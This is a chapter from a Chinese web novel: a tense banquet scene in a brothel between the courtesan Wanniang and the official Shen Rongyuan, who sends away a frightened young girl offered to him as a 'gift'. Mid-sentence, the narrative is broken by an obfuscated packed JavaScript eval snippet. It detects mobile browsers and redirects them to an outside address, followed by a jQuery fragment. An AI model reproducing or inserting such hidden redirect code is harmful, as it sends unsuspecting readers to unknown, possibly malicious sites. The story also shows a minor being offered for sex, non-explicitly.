晚娘脸上挂笑,纤细腰肢微微扭动,腰间铃铛清脆作响。她自顾自走到桌边,提起一精巧银酒壶,斟满一杯。随后莲步轻移,走到沈容远面前,抬手将身上香气同酒气一并递到他鼻尖。
“大人既然能赏脸来翠香楼,便是我们楼中上下的福气。”她举着杯盏,抬眼直望进他眸底里,“这一杯,我敬您。”
她姿态极殷勤,若不深究真假,倒是叫人受用。
这番举动行云流水,丝毫没有窘迫畏惧。周遭众人也看不清其中暗流涌动,只叹这当红的姑娘不愧当红,举手投足都是风情别样。
纵使在讨好男人,也不一般。
沈容远垂眸。
他看着她递来的那一杯酒。女子的手指白皙修长,蔻丹艳红托着青瓷酒杯,倒是赏心悦目。
沈容远将那杯酒接过来,却并不着急喝下,也不想领这份情。
“你果真好本事。”他声音不大,刚好人人能听清。
“能叫我父亲神魂颠倒,又能引得赵公子这般倾心,专叫你来受满堂瞩目。这京城里,也算得上独一无二了。”
话音方落,周遭戏谑打诨的视线纷纷凝滞,众人面面相觑,这才后知后觉出不对劲来。
赵若晖的脸也僵了一僵。
他看向沈容远,又看向晚娘,待到回过神来,恨不得扇自己一巴掌。
他本是想叫晚娘来助兴,可谁能想到晚娘和沈容远他爹不清不楚?
他嚅嗫着,半晌没说出话。晚娘脸上神情却丝毫未变。
谁听不出来,沈容远是在说她水性杨花?真是可笑。
青楼女子,若不水性杨花,难不成还要为了谁守身如玉?活活等着饿死?
若她十二岁时听见沈容远这话,或许还会有些难受。可现在听来,只觉得眼前实在是个站着说话不腰疼的官老爷。
她的恭顺恰到好处,轻声应答:“我能在楼中讨口饭吃,全凭诸位抬爱,算不得有什么本事。”
这话是她说惯了的。她已经习惯,在面对客人刁难时摆出这样一副姿态。
沈容远眼眸微睐,将杯中酒一饮而尽。
“好口舌。”
见气氛越来越僵,赵若晖那半天转不过来弯的脑子终于醒神,打着哈哈上前:“哎呀,都站着做什么!怀安你也是,非要和她过不去?”
他给晚娘使了个眼色,示意她莫要再说话。
晚娘顺势在席间坐下,垂下眼帘,端的是顺从模样。
可她心里却要骂,骂沈老爷不是个好东西,生个儿子出来也是王八蛋!什么神仙人物?要到她面前来装不可一世?
哼,若有现世报,等他沦落到这种地方来讨生活,她倒要看他还有多清高?
赵若晖斜睨沈容远,见他不继续发难,松了口气。
他忽然想起今日叫沈容远来,是为沈容远准备了一份“大礼”。方才一打岔,险些忘了。
“快,把那姑娘叫上来!”他朝着门外喊。
话音刚落,门被推开。龟公笑容谄媚,亲自引着一个姑娘进来。那姑娘瞧着不过十四五岁的年纪,身量未足,虽尽力笑着,仍有些惊惶不安。
她走起路来微微发颤,步子也缓。龟公看了,低声催促道:“快向大人们见礼。”
沈容远捏着酒杯,没朝她看一眼。赵若晖朝着沈容远努努嘴,姑娘会意,走到沈容远面前拜倒:“奴名青荷,还望大人……多多怜惜。”
席间男人见了这般青涩模样,眼中几乎放出光来,说出的话也轻佻狎昵。
“哟,果真是个美人坯子。”
“还是个雏儿吧。赵公子有心了!”
“沈大人可还满意?……哈哈哈哈,沈兄,你今夜好福气啊!”
……
从这姑娘进来,晚娘只看了她一瞬,便眼皮都未曾再抬一下。
她听着那些男人发出来的、又传入她耳中的不堪调笑。她虽然没看,也能感觉那叫青荷的女孩儿抖得愈发厉害。
晚娘唇角勾起。
又一个。
人说十八层地狱可怖,这地方又哪里逊色了?想当年,她不也是如此被送到一个男人面前,一步步变得一无所有?
心中厌恶愈烈。酒色权气,男人们自以为是的逗弄,都令人作呕。
她脸上的冷笑转瞬即逝,几乎无人察觉。
除了沈容远。
他清晰捕捉到了晚娘脸上神情的细微变化,先是眯了眯眼,随即心中升起些玩味。
说实在的,他对眼前的姑娘一点兴趣也没有。可看着晚娘如此反应,他忽然很想知道——此时她心里,是不是已经鄙夷不屑地骂过了在座所有男人。
“怀安,如何?”赵若晖许久没见他做出反应,凑过来道:“这份礼,你可还满意?”
沈容远抬眼,看着他一笑:“不。”
“……啊?”
沈容远不想理他。赵若晖明知道他一向不喜狎妓,偏偏要自作这样的聪明。
他对着瑟瑟发抖的青荷淡声开口:“下去吧。”
青荷一愣,以为沈容远没看上她,慌忙想开口。沈容远打断她:“我今日没兴致,先下去吧。”
青荷红了眼眶,匆匆一礼,逃也似的出去了。
赵若晖愣在原地:“怀安,你这是做什么?”
沈容远虽回答赵若晖,视线却越过他,落在垂眸不语的晚娘身上:“若晖,你这份礼,我不喜欢。”
赵若晖茫然不解。沈容远停顿片刻,忽而轻笑一声。听见他这声笑,晚娘好似察觉到什么,抬头,心头随之一紧。
她看见,沈容远朝她扬了扬下巴,笑问:“叫她来陪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268948|182216||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我,你舍得么?”
这问题问得实在刁钻。
赵若晖愣在原地,不知该如何作答。他深知沈容远与晚娘之间有那样深的过节,可若是厌恶晚娘,他为何又要这样问?
刚才那份“礼物”没能让沈容远点头,赵若晖本就惴惴不安,脑子里一团乱麻,张开口也不知如何圆场。
晚娘简直是有些厌烦了。
这姓沈的,还真是步步紧逼,不留半点余地。有本事他找他老子去!逮着她为难算什么男人!
她深吸一口气,缓缓抬起头,知道这赵公子也是个不成器的,她指望不上。她脸上没有窘迫,漾开一抹笑:“大人说笑了。你既然和赵公子是朋友,他哪里会不舍得呢?”
赵若晖被他这么一提醒,连忙附和道:“是是!今天本就是给你庆贺嘛,只要你高兴,看上谁都行!”
沈容远盯着晚娘,笑一笑道:“如此,你就过来吧。”
晚娘自然而然过去,在沈容远身侧落座,倒了一杯酒:“大人,我不晓诗书,言语若有冒犯,还请海涵。”
她话虽客气,沈容远却明明白白听出了她心怀不屑,却不得不屈意奉迎。
他装作听不出来:“哪里有?你说话,已是很中听的了。”
……
席间气氛总算缓和下来,众人又开始推杯换盏。酒过三巡,厢间渐渐活络。晚娘被灌了不少酒,脸颊泛起一层薄红。她本就妩媚,此时沾染两三分醉态,真是勾人魂魄。
她肆意说笑,心里却清醒得很。
自他落座,身旁那位爷的目光就时不时凝在她身上。如芒在背,如针刺骨。
晚娘心烦,又只能故意装作什么也不知道,越来越不自在。
此时借着喝醉的名头,她索性转过头迎上他的目光,酒意壮胆后,她也敢用挑衅的语气轻声问:“大人,你为什么一直看我?”
沈容远微微一怔,咽下入口的酒,放下酒杯。
他神情很快又恢复平静,声音带着冷意,清晰而凛冽:“我只是在想,你这样的女子,实在没必要与我父亲纠缠。”
晚娘脸上笑意凝固,也不再装模作样,不明不白轻笑一声,不理会他这话。
只听沈容远继续道:“他年事已高,你跟着他没好处。若你是为了什么,大可和我说,我替他给你——和他断了吧。”
晚娘嗤笑一声。
她就知道。他今夜种种刁难,不就是觉得她为了钱财,恬不知耻缠着他那半截入土的爹不放吗?
她想要什么……她想要的,他就一定能给吗?……
“你笑什么?”沈容远冷声问。
晚娘那双眸子氤氲着沈容远看不明白的情绪,一字一句笑问:“你问我想要什么?……我想进你沈家的门,做你沈家的人。不知道,沈大人能满足我吗?”